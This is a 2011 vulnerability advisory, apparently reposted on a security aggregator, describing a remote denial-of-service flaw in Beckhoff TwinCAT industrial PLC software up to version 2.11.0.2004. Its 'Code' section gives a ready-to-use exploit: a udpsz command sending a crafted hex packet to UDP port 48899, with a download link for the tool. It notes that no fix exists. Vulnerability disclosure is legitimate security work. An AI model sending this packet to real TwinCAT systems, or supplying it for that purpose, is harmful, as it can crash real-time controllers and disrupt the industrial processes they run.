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Beckhoff TwinCAT 2.11.0.2004 Denial Of Service

🗓️ 14 Sep 2011 00:00:00Reported by Luigi AuriemmaType 
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🔗 packetstormsecurity.com👁 42 Views

Beckhoff TwinCAT 2.11.0.2004 Denial Of Service by Luigi Auriemma for Window

Code
`#######################################################################  
  
Luigi Auriemma  
  
Application: Beckhoff TwinCAT  
http://www.beckhoff.de/twincat/  
Versions: <= 2.11.0.2004  
Platforms: Windows  
Bug: Denial of Service  
Exploitation: remote  
Date: 13 Sep 2011  
Author: Luigi Auriemma  
e-mail: [email protected]  
web: aluigi.org  
  
  
#######################################################################  
  
  
1) Introduction  
2) Bug  
3) The Code  
4) Fix  
  
  
#######################################################################  
  
===============  
1) Introduction  
===============  
  
  
From vendor's website:  
"The Beckhoff TwinCAT software system turns almost any compatible PC  
into a real-time controller with a multi-PLC system, NC axis control,  
programming environment and operating station."  
  
  
#######################################################################  
  
======  
2) Bug  
======  
  
  
Denial of Service caused by an invalid read access.  
  
  
#######################################################################  
  
===========  
3) The Code  
===========  
  
  
http://aluigi.org/testz/udpsz.zip  
  
udpsz -C "03 66 14 71 00 00 00 00 06 00 00 00 0a ff ff 02 01 01 10 27" -b 0xff SERVER 48899 0x5fe  
  
  
#######################################################################  
  
======  
4) Fix  
======  
  
  
No fix.  
  
  
#######################################################################  
`

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14 Sep 2011 00:00Current
7.4High risk
Vulners AI Score7.4
42